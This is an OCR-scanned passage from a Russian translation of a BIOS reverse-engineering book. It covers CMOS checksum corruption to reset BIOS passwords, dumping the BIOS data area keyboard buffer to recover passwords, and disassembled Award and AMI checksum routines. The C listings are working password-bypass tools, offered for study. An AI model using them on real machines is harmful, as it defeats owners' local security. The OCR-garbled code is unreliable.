£сли контрольная сумма CMOS недействительна, то BIOS сбрасывает установки CMOS, задавая для них значения по умолчанию. Как было указано в только что приведенном списке значений битов байта диагностического статуса, значение бита б этого байта, установленное в единицу, указывает на то, что контрольная сумма недействительна. Этот бит будет установлен при нарушении значения одного из байтов контрольной суммы по смещению 0х2е или ox2F. В моих экспериментах я просто инвертирую значение байта по смещению 0x2е. Этого достаточно, чтобы сделать контрольную сумму CMOS недействительной. Теперь рассмотрим, каким образом можно реализовать эту логику в исходном коде утилиты bios_probe версии 0.36. С помощью только что описанного метода, данная версия утилиты bios_probe может сбросить значение контрольной суммы CMOS при исполнении из Windows ХР/2000. Функция модификации контрольной суммы CMOS объявлена в файле cmos.h и определена в файле cmos.c исходного кода утилиты. Содержимое файла cmos.h приведено в листинге 11.1, а файла cmos.c — в листинге 11.2.
Листинг 11.1. Файл cmos.h
#ifndef __CMOS_H__
«define __CMOS_H__
// Часть строк кода опущена, как не являющаяся необходимой И для понимания рассматриваемого процесса.
mt reset_cmos () ;
«endif //__CMOS_H__
Листинг 11.2. Файл cmos.c
* * Часть строк кода опущена, как не являющаяся необходимой * * Для понимания рассматриваемого процесса.
lnt reset_cmos() /*++
^сание подпрограммы:
Устанавливает значения по умолчанию CMOS посредством
записи недействительной контрольной суммы
Аргументы: Нет.
Возвращаемое значение:
Не используется; может быть любое значение.
— */
{
const unsigned CMOS_INDEX = 0x70;
const unsigned CMOS_DATA = 0x71;
unsigned char value;
outb(0x2E, CMOS_INDEX);
value = inb(CMOS_DATA);
printf("original emos checksum = 0x%X\n", value);
// Выводим начальную контрольную сумму.
value = -value;
printf("new emos checksum = 0x%X\n", value);
// Выводим новую контрольную сумму.
outb(0x2E, CMOS_INDEX) ;
outb(value, CMOS_DATA); // Записываем недействительную // контрольную сумму.
return 0;
}
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
Код в листинге 11.2 инвертирует первоначальное значение байта контрольной суммы по смещению 0х2Е и записывает новое значение по тому же смещению. На рис. 11.2 продемонстрировано использование этой новой функ' циональной возможности утилиты bios_probe с целью установки неверного значения контрольной суммы CMOS.
Чтобы полностью реализовать новый входной параметр для нарушения кон трольной суммы CMOS, необходимо внести некоторые изменения и в фа^ flash_rom.c. Эти модификации показаны в листинге 11.3.
Рис. 11.2. Использование новой функциональной возможности утилиты bios_probe с целью установки неверного значения контрольной суммы CMOS
" ♦стинг 11.3. Модификации файла flash_rom.c для нарушения контрольной суммы CMOS
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
#include "cmos.h"
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int main (int argc, char * argv[]) {
int read_.it = 0, write_.it = 0, verify_it = 0, pci_rom_read = 0, pci_rom_write = 0, pci_rom_erase = 0, siribios_duirp = 0, Iock_w39v040fa = 0, cmos_dump = 0, cmos_reset = 0, bda_dunip = 0;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
) else i f (! strcmp (argv [ 1 ]," -reset_cmos")) { cmos_reset = 1;
^ Часть строк кода опущена, как не являющаяся необходимой
** Для понимания рассматриваемого процесса.
Н Если это запрос сбросить CMOS, сбрасываем.
if ( cmos__reset ) {
printf("Resets the CMOS values..\n");
// Сбрасывает значения CMOS reset_cmos () ;
CleanupDriver(); // Освобождаем ресурсы интерфейса драйвера, return 0;
ННЧасть строк кода опущена, как не являющаяся необходимой для понимания рассматриваемого процесса.
Н
Н
}
Как показано в листинге 11.3, модификации файла flash_rom.c в основном состоят в добавлении кода, предназначенного для обработки нового входного параметра и вызова функции reset_cmos в файле cmos.c. Как и в предыдущих главах, утилита bios_probe может исполняться только пользователями имеющими права администратора.
Реализация функции сброса содержимого CMOS для исполнения в Linux не составляет никакого труда. Соответствующий исходный код показан в листинге 11.4. Чтобы получить необходимые привилегии IOPL (I/O privilege level — уровень привилегий ввода-вывода), утилиту необходимо исполнять, загрузившись в системе как пользователь с правами root.
Листинг 11.4. Функция для сброса CMOS в Linux
/*
* cmos_reset. с : CMOS checksum reset program by Darmawan Salihun
*/
#include <sys/io.h>
#include <stdio.h>
int main(int argc, char** argv)
{
const unsigned CMOS_INDEX = 0x70;
const unsigned CMOS_DATA = 0x71;
unsigned char value;
// Пробуем получить наивысшие привилегии IOPL.
if(0 ! = iopl(3))
{
printf ("Error! ШаЫе to obtain highest IOPL\n"); // Ошибка получения наивысших привилегий IOPL. return -1;
oUtb(0x2E, CMOS_INDEX); value = inb(CMOS_DATA);
printf("original CMOS checksum = Ox%X\n", value); // Выводим первоначальную контрольную сумму.
value = -value;
outb(0x2E, CMOS_INDEX); outb(value, CMOS_DATA);
outb(0x2E, CMOS_INDEX); value = inb(CMOS_DATA);
printf ("new CMOS checksum = Ox%X\n", value); // Выводим новую контрольную сумму.
return 0;
Исходный код в листинге 11.4 можно скомпилировать с помощью GCC, запустив его в оболочке Linux, как показано в листинге 11.5.
Листинг 11.5. Компиляция утилиты для сброса CMOS
Эсе -о cmos_reset cmos_reset.c
Результатом компиляции будет исполняемый файл с названием cmos_reset. В листинге 11.6 показана информация, выводимая этой утилитой на экран.
Листинг 11.6’. Исполнение утилиты cmos_reset и вывод результатов
r°ot@opunaga:/home/pinczakko/BIOS_Passwd_Breaker# ./cmos_reset
°riginal CMOS checksum = OxA // Первоначальная контрольная сумма
n®w CMOS checksum = 0xF5 // Модифицированная контрольная сумма
Анализ результатов исполнения утилиты, приведенных в листинге 11.6, показывает, что она работает должным образом — инвертирует первоначальное значение контрольной суммы.
18 Зак 1387
Считывание пароля BIOS из области BDA
При использовании второго способа обхода парольной защиты BIOS, пароЛь извлекается из информации, хранящейся в области BDA. Как и .метод, Опц санный в разд. 11.1.1, данный метод применим только при условии того, что операционная система уже загружена. Содержимое области BDA читается из контекста операционной системы. Тем не менее, следует отметить, что данный метод взлома пароля BIOS работает не во всех случаях. Экспериментируя в этой области, я обнаружил, что в области BDA хранятся только короткие пароли, длина которых составляет менее восьми символов. Если же длина пароля составляет восемь символов или более, то в область BDA попадают не все его символы. Причина состоит в том, что размер буфера клавиатуры ограничен. Кроме того, возможно, что эти результаты действительны только для Award BIOS версии 6.00PG, установленной на материнской плате, с которой я проводил свои эксперименты. Результаты для других BIOS могут быть иными.
Область BDA начинается по физическому адресу 0x400 и обычно занимает 255 байт. Область BDA применяется для хранения данных, связанных с процедурами обработки прерываний BIOS. Буфер клавиатуры, используемый BIOS, расположен в области BDA по смещению 0х1е и занимает 32 байта. Именно эту область и требуется сбросить в файл, чтобы узнать пароль BIOS. Если система защищена паролем BIOS, то последними символами в этом буфере будут символы пароля BIOS, вводимого пользователем во время загрузки. Содержимое области BDA можно прочитать из Windows ХР/2000 с помощью утилиты bios_probe версии 0.36. Делается это точно таким же образом, как и установка неверной контрольной суммы CMOS (см. разд. ИЛЛУ Рассмотрим исходный код, предназначенный для осуществления сброса области BDA в файл. Функция для сохранения дампа области BDA объявляется в файле cmos.h. Содержимое этого файла показано в листинге 11.7.
Листинг 11.7. Объявление фyнкLИИ для выполнения дампа области BDA
#ifndef __CMOS_H_.
#define __CMOS_H_.
// Часть строк кода опущена, как не являющаяся необходимой \ // для понимания рассматриваемого процесса.
int dunp_bios_data_area(const char* filename);
#endif / /CMOS_H__
реализация функции сброса дампа области BDA осуществляется в файле clllos.c. Содержимое этого файла показано в листинге 11.8.
дистинг 11.8. Определение функции для выполнения дампа области BDA
4 t dunp_bios_data_area(const char* filename) /*++
описание процедуры: Сбрасывает в файл содержимое буфера клавиатуры в области BDA. данный буфер занимает диапазон адресов 0x4IE - 0x43D.
Аргументы: filename — Имя файла, в который сбрасывается содержимое буфера.
Возвращаемое значение:
0 = При неуспешном завершении.
— При успешном завершении.
-*/ (
FILE * f = NULL;
char * buf = NULL;
volatile char * bda = NULL;
const unsigned BDA_START = 0x41E;
const unsigned BDA_SIZE = 32;
И
// Отображаем физический диапазон адресов 0x400-0x4FF //на адресное пространство bios_probe.
// bda = (volatile char*) MapPhysicalAddressRange(BDA_START, BDA_SIZE);
if(NULL == bda) (
printf("Error: unable to map BIOS data area \n"); return 0;
if ((f = fopen(filename, "wb")) == NULL) { perror(filename);
UnmapPhysicalAddressRange((void*)bda, BDA_SIZE); return 0; )
H
// Сбрасываем содержимое буфера клавиатуры в файл.
и
buf = (char *) rnalloc (BDA_SIZE);
if(NULL == buf) {
printf( "Error! Linable to allocate memory for BIOS data area” "buffer!\n");
// Ошибка выделения памяти для буфера области данных BIOS, fclose(f);
UnmapPhysicalAddressRange((void*)bda, BDA_SIZE); return 0;
)
memcpy(buf, bda, BDA_SIZE);
fwrite(buf, sizeof(char), BDA_SIZE, f);
free(buf);
fclose(f);
UnmapPhysicalAddressRange((void*)bda, BDA_SIZE);
return 1; //При успешном завершении. )
В файл flashrom.c также были внесены изменения, с тем, чтобы обеспечить работу функции сохранения дампа содержимого области BDA. Соответствующий исходный код показан в листинге 11.9.
Листинг 11.Э. Модификации файла flash_rom.c для работы с функцией сброса области BDA
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
#include "cmos.h"
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int main (int argc, char * argv[))
(
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int bda_dump = 0;
// Часть строк кода опущена, как не являющаяся необходимой
ИИдля понимания рассматриваемого процесса.
И
И
{{} else if(!strcnp(argv[l],"-dump_bda”))
{
{
bda_dump = 1;
// часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
И
Ц Если это запрос сбросить область BDA, выполняем
// дамп содержимого буфера клавиатуры в файл.
if( bda_dump )
{
if(NULL == filename) {
printf("Error! the filename is incorrect\n"); // Ошибка - неправильное имя файла.
} else {
printf("Dumping BIOS data area to file..\n"); // Сообщаем о выполнении дампа.
dump_bios_data_area(filename);
)
CleanupDriver(); II Освобождаем ресурсы интерфейса драйвера, return 0;
}
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
}
Пример, иллюстрирующий работу утилиты bios_probe при сохранении дампа содержимого буфера клавиатуры в файл на моем компьютере, показан на рис. 11.3.
Рис. 11.3. Использование утилиты bios_probe для сохранения дампа области BDAРис. 11.3. Использование утилиты bios_probe для сохранения дампа области BDA
Рис. 11.3. Использование утилиты bios_probe для сохранения дампа области BDA
Рис. 11.3. Использование утилиты bios_probe для сохранения дампа области BDA
Содержимое файла дампа буфера клавиатуры для пароля BIOS "testing" пока зано в листинге 11.10.
Листинг 11.10. Содержимое файла дампа области BDA для пароля BIOS "testing"
Адрес00000000Адрес00000000Шестнадцатеричные значения0DE0 7414 6512 6512 731F 731F 7414Шестнадцатеричные значения0DE0 7414 6512 6512 731F 731F 7414Значения ASCIIЗначения ASCII7414 ..t.e.e.s.s.t.t.7414 ..t.e.e.s.s.t.t.
Адрес
00000000
Адрес
00000000
Шестнадцатеричные значения
0DE0 7414 6512 6512 731F 731F 7414
Шестнадцатеричные значения
0DE0 7414 6512 6512 731F 731F 7414
Значения ASCII
Значения ASCII
7414 ..t.e.e.s.s.t.t.
7414 ..t.e.e.s.s.t.t.
00000010 6917 6917 6Е31 6Е31 6722 6722 0D1C 0D1C i.i.nlnlg"g"....
Каждый символ ASCII-строки пароля сохраняется в буфере клавиатуры в паре с его клавиатурным скан-кодом. Например, символ t сохраняется как код ASCII 74h и скан-код 14Ь. Я не смог найти однозначного ответа на вопрос о том, почему символы пароля в буфере клавиатуры сдвоенные. Возможно, это делается, чтобы обеспечить совместимость с требованиями Unicode. Если длина строки пароля составляет восемь символов или более, то только последние семь из них сохраняются в буфере клавиатуры (листинг 11.11). В этом листинге показано содержимое файла дампа буфера клавиатуры для пароля BIOS "destruct".
Листинг 11,11. Содержимое файла дампа области BDA для пароля BIOS “destruct"
АдресШестнадцатеричные значения Значения ASCII
00000000 0D1C 0D1C 6512 6512 731F 731F 7414 7414 ....e.e.s.s.t.t.
00000010 7213 7213 7516 7516 632Е 632Е 7414 7414 r.r.u.u.c.c.t.t.
Как можно видеть в листинге 11.11, в буфере клавиатуры сохраняются лишь последние семь символов строки пароля, т. е. "estruct" вместо полного пароля "destruct". При загрузке, я пробовал вводить пароль BIOS как "estruct" вместо "destruct", но урезанный пароль не был принят. Из этого можно сделать вывод, что Award BIOS версии 6.00PG на моем компьютере проверяет все символы пароля BIOS.
Теперь рассмотрим, каким образом можно сохранить дамп области BDA в Linux. Хотя эта задача довольно проста, безошибочную работу утилиты можно обеспечить лишь за счет корректной обработки некоторых особенно^ стей функции Linux mmap. Назовем эту утилиту bda_dump. Полный исходный код утилиты показан в листинге 11.12. Утилиту bda_dump необходимо испол нять, зарегистрировавшись в системе как пользователь с правами root- В противном случае программа завершится неудачно.
♦тинг 11.12. Утилита для сброса области BDA в Linux (bda_dump.c)
« bda_dump.c: BIOS data area dumper by Darmawan Salihun
4
include <sys/mman.h> include <sys/types.h> include <sys/stat.h> ^include <fcntl.h> ^include <unistd.h> include <stdio.h> #include <stdlib.h> ^include «string.h>
mt main(int argc, char** argv) (
int fd_mem;
FILE * f_OUt = NULL;
volatile char * bda;
unsigned long size;
const unsigned BDA_SIZE = 32;
const unsigned BDA_START = 0x4IE; char * buf = NULL;
if(argc < 2) {
printf( "Error! Insufficient parametersXn" // Ошибка - недостаточно параметров.
"Usage: %s [out_f i lename]\n", argv[ 0 ]);
return -1; }
if( NULL == (f_out = fopen(argv[l], "wb"))) {
printf("Error! Unable to open output file handle\n");
// Ошибка открытия дескриптора файла вывода. return -1;
)
if ((fd_mem = open("/dev/niem", O_RDWR)) < 0) { perrorfCan not open /dev/mem\n");
return -1
И
// Отображаем область BDA на текущий процесс.
// Обратите внимание, что физическая память при отображении должна
// выравниваться по границе в 4 Кбайт. В противном
// случае произойдет ошибка отображения, и будет выведено
// соответствующее сообщение
Н 'Error MMAP /dev/mem: Invalid argument' .
size = BDA_SIZE;
if(getpagesize() > size)
{
size = getpagesizeO ;
printf( "%s: warning: size: %d -> %ld\n", __FUNCTION__, BDA_SIZE, (unsigned long)size);
}
// Отображаем физическую память, начиная с адреса 0.
bda = mmap (0, size, PROT_WRITE | PROT_READ, MAP_SHARED, fd_mem, 0);
if (bda == MAP_FAILED) {
perror("Error MMAP /dev/mem\n"); II Ошибка отображения памяти, close(fd_mem);
return -1;
}
if(NULL == (buf = malloc(BDA_SIZE)))
{
perror("Insufficient memory\n"); // Недостаточно памяти.
munmap((void*)bda, size);
close(fd_mem);
return -1;
}
memcpy((void*)buf, (void*)(bda+BDA_START), BDA_SIZE);
fwrite(buf, sizeof(char), BDA_SIZE, f_out);
free(buf);
munmap((void*)bda, size);
close (f d_mem) ;
fclose(f_out) ;
return 0;
)
Как уже говорилось, функция Linux для отображения памяти mmap имеет некоторые особенности при исполнении с дескриптором файла /dev/mem в качестве параметра. Данная функция может отображать физическую память только блоками, размер которых должен быть кратным размеру страницы диспетчера памяти процессора. Кроме того, отображаемая физическая память должна выравниваться по границе страницы соответствующего размера. В архитектуре х8б размер страницы равняется 4 Кбайтам. Соответственно, отображаемая физическая память должна выравниваться по 4-Кбайтной границе, а ее размер должен составлять, по крайней мере, 4 Кбайта. Для решения этой проблемы и служит фрагмент кода листинга 11.12, приведенный в листинге 11.13.
Листинг 11,13. Код для работы с функцией mmap
и
И Отображаем область BDA на текущий процесс.
// Обратите внимание, что физическая память должна
// отображаться по границе в 4 Кбайт. В противном
// случае произойдет ошибка отображения и будет выведено
И соответствующее сообщение
И 'Error MMAP /dev/mem: Invalid argument'.
size = BDA_SIZE;
if (getpagesizeO > size) {
size = getpagesize();
printf( "%s: warning: size: %d -> %ld\n", „FUNCTION BDA_SIZE, (unsigned long)size);
}
// Отображаем физическую память, начиная с адреса 0.
bda = mmap (0, size, PROT_WRITE | PROT_READ, MAP_SHARED, fd_mem, 0);
Так как область BDA не выровнена по 4-Кбайтной границе, и ее размер Не является кратным величине 4 Кбайта, для ее отображения с помощью фуцк ции татар применяется код, приведенный в листинге 11.13. Исходный код приведенный в листинге 11.12 можно скомпилировать с помощью GCC, За’ пустив его в оболочке Linux, как показано в листинге 11.14.
Листинг 11.14. Компиляция утилиты bda_dump
gcc -о bda_dump bda_durrp.c
Результатом компиляции будет исполняемый файл с именем bda_dunp. В листинге 11.15 показаны командная строка, запускающая эту утилиту на исполнение, а также результаты ее работы.
Листинг 11.15. Запуск утилиты bda_dump и результаты ее работы
root@opunaga: /home/pinczakko/BDA_dunper# . /bda_dump bda. bin main: warning: size: 32 -> 4096
В листинге 11.15 показано, что утилита bda_dump предупреждает о том, что размер страницы больше, чем константа bda_size в исходном коде утилиты. Но в этом нет ничего страшного. Это происходит потому, что в исходный код утилиты был включен код, предназначенный для корректной обработки особенностей функции татар. В листинге 11.15 также показано, что буфер клавиатуры сбрасывается в файл под названием bda.bin. Содержимое этого файла после исполнения утилиты bda_dump на моем компьютере показано в листинге 11.16. Обратите внимание, что при выводе содержимого этого файла на экран с помощью утилиты Linux hexdump применяется специальный файл форматирования под названием fmt. Это тот же самый файл, что и файл, описанный в листинге 7.11 в главе 7.
Листинг 11.16. Содержимое файла дампа bda.bin
root@opunaga:/home/pinczakko/BDA_duirper# hexdtimp -f fmt bda.bin
000000 0D E0 74 14 6500000c 74 14 74 14 69000018 67 22 67 22 0D000000 0D E0 74 14 6500000c 74 14 74 14 69000018 67 22 67 22 0D12 65 12 73 IF 73 IF .17 69 17 6E 31 6E 31 tIC 0D ICg12 65 12 73 IF 73 IF .17 69 17 6E 31 6E 31 tIC 0D ICg.t.e.e.s.s..t.i.i.n1n1"g".....t.e.e.s.s..t.i.i.n1n1"g"....
000000 0D E0 74 14 65
00000c 74 14 74 14 69
000018 67 22 67 22 0D
000000 0D E0 74 14 65
00000c 74 14 74 14 69
000018 67 22 67 22 0D
12 65 12 73 IF 73 IF .
17 69 17 6E 31 6E 31 t
IC 0D ICg
12 65 12 73 IF 73 IF .
17 69 17 6E 31 6E 31 t
IC 0D ICg
.t.e.e.s.s.
.t.i.i.n1n1
"g"....
.t.e.e.s.s.
.t.i.i.n1n1
"g"....
BIOS компьютера, на котором проводилось тестирование утилиты bda_dump' была защищена паролем "testing”. В листинге 11.16 показано, что буфер к^9' виатуры содержит эту строку.
Исходя из всего изложенного в данном разделе, можно заключить, что в слу- qa6 с Award BIOS версии 6.00PG метод, применяющий сброс содержимого буфера клавиатуры области BDA в файл, дает верные результаты лишь при определенных обстоятельствах. Тем не менее, вероятно, что для других BIOS, отличных от Award BIOS версии 6.00PG, данный метод может извлекать пароли полностью.
Недостатки методов программной атаки на пароли BIOS с точки зрения злоумышленника
С точки зрения злоумышленника, оба только что рассмотренных метода взлома пароля BIOS имеют следующие недостатки:
Для исполнения соответствующих утилит взлома паролей необходимы права администратора. Чтобы получить эти права, злоумышленнику необходимо запустить на исполнение дополнительный эксплоит. Это обстоятельство служит дополнительной мерой безопасности для законного владельца компьютера.
В определенный момент злоумышленнику необходимо иметь физический доступ к компьютеру, подвергающемуся атаке. После того как в результате атаки для контрольной суммы CMOS было установлено недействительное значение, на некоторых компьютерах для загрузки значений CMOS по умолчанию необходимо нажать определенную комбинацию клавиш. Если этого не сделать, процесс загрузки операционной системы остановится на этапе инициализации BIOS, и операционная система не загрузится. Это еще одна дополнительная мера безопасности для законного владельца компьютера.
0 Иногда, когда операционная система уже загружена, знание злоумышленником пароля BIOS ничего ему не дает. Например, при загруженной операционной системе, чтобы установить руткит, знание пароля BIOS злоумышленнику не требуется.
Из всего изложенного можно сделать вывод, что пароль BIOS выполняет Функцию локальной меры безопасности. Это отличная мера безопасности для систем, которые выключаются и включаются на регулярной основе, например для офисных настольных компьютеров.
Проверка целостности компонентов BIOS
° предыдущих главах уже было показано, что двоичный файл BIOS состоит из Компонентов различных типов — несжатых чисто двоичных и сжатых. В код •OS встроен механизм для проверки целостности этих компонентов.
В большинстве реализаций BIOS для этой цели применяется метод проверКи контрольной суммы.
Механизм проверки целостности компонентов BIOS изначально не предца_ значался для применения в качестве меры безопасности. Тем не менее, так как внедрение произвольного кода в двоичный код компонента BIOS вызовет изменение его контрольной суммы, механизм проверки целостности BIOS может быть использован для защиты против таких действий. Если при внедрении постороннего кода в компонент BIOS контрольная сумма этого компонента не откорректирована должным образом, BIOS обнаружит неправильную контрольную сумму на этапе инициализации системы и прекратит дальнейшее нормальное исполнение. Вместо этого будет вызвана процедура начальной загрузки, которая потребует обновить BIOS. В худшем случае — при неправильной контрольной сумме блока начальной загрузки — BIOS может остановить процесс инициализации системы или же войти в бесконечный цикл сброса и перезагрузки. В последующих подразделах рассматривается реализация процедур, осуществляющих проверку контрольных сумм компонентов BIOS.
Проверка целостности компонентов Award BIOS
Для Award BIOS версий 4.50 и 6.00PG имеется два способа проверки целостности компонентов BIOS. Первый состоит в использовании 8-битной контрольной суммы, а второй — в контроле целостности с помощью 1 б-битного циклического избыточного кода (cyclic redundancy check). Восьмибитная контрольная сумма применяется для выполнения разнообразных задач по проверке целостности BIOS. К таким задачам относятся контроль целостности системной BIOS и сжатых компонентов, а также проверка целостности заголовков сжатых компонентов. В листинге 11.17 показана процедура, предназначенная для вычисления 8-битной контрольной суммы для заголовка компонентов Award BIOS версии 6.00PG, сжатых по алгоритму LZH. Данная процедура расположена в блоке распаковщика.
Листинг 11.17. Вычисление контрольной суммы заголовка компонента BIOS
1000:В337Calc_LZH_Hdr_8bit_sum proc near
1000:В337 53push bx
1000:B338 51push ex
^q00:B339 52
i000:B33A В8 00 00
1С 57
push
mov
movzx
dx
ax, 0
ex, lzh_hdr_len
i000:B33D
1000:В342
OF Вб 0Е
1000:В342
next_hdr_byte:
1000:В342
0F Вб 1Е
1С 57
movzx
bx, 1zh_hdr_len
1000:В347
2В D9
sub
bx, ex
^00:6349
0F Вб 97
00 00
movzx
dx, byte ptr [bx + 0]
1000:В34Е
03 С2
add
ax, dx
1000:В350
Е2 F0
loop
next_hdr_byte
Ю00:В352
5А
pop
dx
Ю00:В353
59
pop
ex
Ю00:В354
5В
pop
bx
1000:В355
25 FF 00
and
ax, OFFh
1000:8358
СЗ
re tn
Ю00:В358
Calc_LZH_Hdr_8bit_sum endp
Процедура, представленная в листинге 11.17, представляет собой дизассемблированный код BIOS материнской платы Foxconn 955X7AA-8EKRS2. Эта процедура является частью блока распаковки. Она вызывается каждый раз, когда движок распаковщика Award BIOS распаковывает сжатый компонент BIOS. Результат процедуры — 8-битная контрольная сумма — помещается в регистр ах. Для поиска этой процедуры в двоичных файлах других Award BIOS можно воспользоваться ее двоичной сигнатурой из колонки шестнадцатеричных значений в листинге 11.70.
Теперь перейдем к рассмотрению контроля целостности с помощью 16битного избыточного кода. Как было показано в главе 5, каждый сжатый компонент двоичного файла Award BIOS имеет заголовок. Значение 16битного циклического избыточного кода хранится в этом заголовке за 5 байт перед концом заголовка. Этот 16-битный циклический избыточный код и является контрольной суммой сжатого компонента. Ее значение вычисляется перед сжатием компонента и вставляется в общий двоичный файл BIOS. Для Двоичных файлов Award BIOS этот процесс в большинстве случаев выполняется с помощью утилиты Cbrom. Шестнадцатеричный код CRC вставляется
в заголовок компонента после завершения процесса его сжатия. Чтобы удостовериться в правильности распаковки компонента, после распаковки его 16-битный код CRC вычисляется повторно, и полученный результат сверяется с сохраненным значением. В листинге 11.18 показана процедура для проверки 16-битного кода CRC для компонентов Award BIOS версии 6.00PG. Этот листинг также представляет собой фрагмент дизассемблированного кода BIOS материнской платы Foxconn 955X7AA-8EKRS2.
Листинг 11.
18.
Процедура для проверки кода CRC
1000:В2АС
1000:В2АС 60
1000:B2AD BE
oc
Make_CRC16_Table proc near pusha
01mov si, lOCh
1000:В2В0 В9
00
01mov ex, 100H
1000:В2ВЗ
1000:В2ВЗ
1000:В2ВЗ В8
00
next_CRC_byte:
01mov ax, lOOh
1ООО:В2В6 2В
Cl
sub ax, ex
1000:В2В8 50
1000:В2В9 ВВ
00
push ax
00mov bx, 0
1000:В2ВС
1000:В2ВС
1000:В2ВС А9
01
next_bit:
00test ax, 1
1000:B2BF 74
07
jzshort current—bi t_is_0
1000:В2С1 D1
E8
shr ax, 1
1000:В2СЗ 35
01
A0xor ax, OAOOlh
1000:В2С6 ЕВ
02
jnp short current_bit_is_l
1000:В2С8
1000:В2С8
1000:В2С8 D1
E8
current—bit_is_0: shr ax, 1
1000:В2СА
1000:В2СА
1000:В2СА 43
1000:В2СВ 83
FB
current_bit_is_l: inc bx
08cirp bx, 8
1000:В2СЕ 72
EC
jb short next_bit
1000:B2D0 5В
1000:B2Dl 89
00
pop bx
mov [bx+si], ax
1000:B2D3 46
1000:B2D4 Е2
DD
inc si
loop next_CRC_byte
1000:B2D6 61
1000:B2D7 C3
popa retn
1q00:B2D7
Make_CRC16_Table endp
1000:В317
Ю00:В317
; При входе: ах = входной байт
; для вычисления кода сгс16
1000:В317 1000:833.7 1000:8317
1000:В317 60
; По выходу: сгс16 = новое
; значение сгс16
patch_crcl6 proc near; .. .
pusha
Ю00:В318 SB F0
mov si, ax
Ю00:В31А А1 ОС 03
mov ax, crcl6
1000:8310 33 С6
xor ax, si
1000:B31F 25 FF 00
1000:8322 8В F0
andax, OFFh
movsi, ax
1000:8324 D1 Еб
shl si, 1
1000:В326 8В 9С ОС 01
mov bx, crc_table[si]
1000:В32А А1 ОС 03
mov ax, crcl6
1000:8320 Cl Е8 08
shr ax, 8
1000:8330 33 СЗ
xor ax, bx
1000:8332 АЗ ОС 03
mov crcl6, ax
1000:8335 61
popa
1000:8336 СЗ
retn
1000:8336
patch_crcl6 endp
Процедура, приведенная в листинге 11.18, называется маке_скс1б_таЫе. Эта процедура создает таблицу соответствий, призванную упростить вычисление 16-битных значений кода CRC, поскольку такие вычисления требуют существенных временных затрат. Алгоритм сжатия компонентов Award BIOS основан на модифицированном алгоритме скользящего окна. Поэтому сжатый компонент распаковывается по одному окну за раз. Одно "окно" для компонентов Award BIOS содержит 8 Кбайт данных или кода. Процедура Patch_crci6 вычисляет 16-битные значения кода CRC для каждого завершенного "окна" во время процесса распаковки. Для поиска этой процедуры также можно воспользоваться ее двоичной сигнатурой, основанной на листинге 11.18.
При внесении изменений в двоичный файл Award BIOS с помощью утилит modbin или Cbrom, вам нет необходимости беспокоиться о правильности контрольной суммы. Эти программы автоматически корректируют ее с учетом изменений, сделанных с их помощью. Но следует помнить, что хакеры, желающие вставить посторонний код в двоичный файл BIOS, могут избрать подход с применением грубой силы, при котором проверка правильности контрольной суммы может быть полностью блокирована. Этого можно добиться, заменив процедуры проверки контрольной суммы подложными процедурами. Такой подход не рекомендуется, так как он повышает вероятность неудачной инициализации системы. Тем не менее, хакеры могут воспользоваться им как последним средством.
Проверка целостности компонентов AMI BIOS
Для проверки целостности AMI BIOS, по всей вероятности, применяется только 8-битная контрольная сумма. Я употребил выражение "по всей вероятности", потому что на данном этапе я еще не полностью реализовал свои планы по дизассемблированию двоичных файлов AMI BIOS. Тем не менее, я опишу результаты, полученные мною на данный момент, и продемонстрирую все процедуры, которые мне удалось обнаружить. Первая из этих процедур проверяет целостность 8-битной контрольной суммы всего двоичного файла BIOS. Дизассемблированный код этой процедуры показан в листинге 11.19.
Эта процедура, как и другие процедуры в этом подразделе, взяты из базы данных результатов дизассемблирования двоичного файла BIOS материнской платы Soltek SL-865PE с помощью ША Pro.
Листинг 11.19. Процедура проверки контрольной суммы AMI BIOS v.8.00
F000:02CA
Calc_Module_Sum proc far
F000:02CA IE
push ds
F000:02CB 66 60
pushad
F000:02CD 6A 00
push 0
F000:02CF IF
pop ds
FOOD:02D0
assume ds:_120000
F000:02d0 66 BE 00 00 12 00
mov esi, 120000h
F000:02D6 2E 8B 0E Bl 00
mov ex, cs:BIOS seg count?
F000:02DB E8 28 00
call get_sysbios_start_addr
F000:02DE 75 18
jnz short AMIBIOSC_not_found
F000:02E0 67 8B 4F F6
mov ex, [edi - OAh]
F000:02E4 66 33 CO
xor eax, eax
F000:02E7
F000:02E7
F000:02E7 67 66 03 47 FC
F000:02EC 66 83 EF 08
F00O:O2FO 67 66 03 07
F000:02F4 E2 Fl
F000:02F6 74 0A
F000:02F8
F000:02F8
F00O:O2F8 B8 00 80
FOOO:O2FB 8E D8
F0OO:O2FD
FOOO:02FD 80 0E CE FF 40
F000:0302
next_lower_dword: addeax,[edi - 4]
subedi,8
addeax,[edi]
loop next_lower_dword jzshort exit
AMIBIOSC_not_found: movax, 8000h
movd s, ax
assume ds:decomp_block or module_sum_flag, 4Oh
FOOD:0302
exit:
FOOD:0302 66 61
popad
F000:0304 IF
pop ds
FOOD:0305
assume ds:nothing
FOOD:0305 CB
retf
FOOD:0305
Calc_Module_Sum endp
Обратите внимание, что процедура, приведенная в листинге 11.19, не фигурирует в блоке начальной загрузки в явном виде, так как она является сжатой частью всего двоичного файла BIOS. Просмотреть ее можно лишь после распаковки. Вторая процедура является частью процедуры POST, имеющей код D7h. Исходный код этой процедуры показан в листинге 11.20. Эта процедура также вычисляет 8-битную контрольную сумму.
Листинг 11.20. Вторая процедура проверки контрольной суммы AMI BIOS v.8.00
F000:043C
F000fO43C
p000:043C
p000:O43C
p000:043C
p00O:O43C
p00O:O43C 66 B8 14 00 00 00
p000:0442 66 2B F0
p000:0445 67 66 8B 0E
p000:0449 66 03 C8
; При входе: esi = исходный адрес чтобы ; начать вычисления
; По выходу: ZF = установлен только если ; контрольная сумма в порядке
Calc_Component_CRQ proc near; ...
moveax,14h
subesi,eax
movecx,[esi]
addecx,eax
552
Часть IV. Внесение изменений в код Bio^
F000:044C 66 Cl Е9 02
shrесх, 2
F000:0450 66 33 СО
F000:0453
xor eax, eax
F000:0453
next_dword:; ..
F000:0453 67 66 03 06
add eax, [esi]
